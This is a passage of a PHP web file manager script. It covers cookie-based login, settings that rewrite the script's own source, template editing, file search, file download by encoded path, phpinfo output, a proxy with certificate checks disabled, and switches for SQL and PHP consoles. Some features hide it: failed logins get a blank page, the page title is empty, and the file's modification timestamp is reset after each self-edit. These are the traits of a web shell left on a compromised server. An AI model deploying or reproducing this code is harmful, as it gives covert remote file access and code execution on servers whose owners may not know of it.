	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
